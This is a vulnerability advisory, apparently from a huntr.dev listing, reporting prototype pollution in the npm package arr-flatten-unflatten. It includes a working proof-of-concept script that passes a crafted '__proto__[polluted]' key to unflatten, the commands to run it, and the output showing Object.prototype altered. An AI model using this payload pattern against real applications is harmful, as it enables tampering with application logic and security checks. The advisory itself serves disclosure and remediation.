Lucene search

K
huntrReady-research1-NPM-ARR-FLATTEN-UNFLATTEN
HistoryJan 10, 2021 - 12:00 a.m.

Prototype Pollution in quernest/arr-flatten-unflatten

2021-01-1000:00:00
ready-research
www.huntr.dev
6

0.005 Low

EPSS

Percentile

77.0%

Description

arr-flatten-unflatten is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var arrFlattenUnflatten = require("arr-flatten-unflatten")
console.log("Before : " + {}.polluted);
arrFlattenUnflatten.unflatten({'__proto__[polluted]': 'Yes! Its Polluted'});
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i arr-flatten-unflatten # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

0.005 Low

EPSS

Percentile

77.0%

Related for 1-NPM-ARR-FLATTEN-UNFLATTEN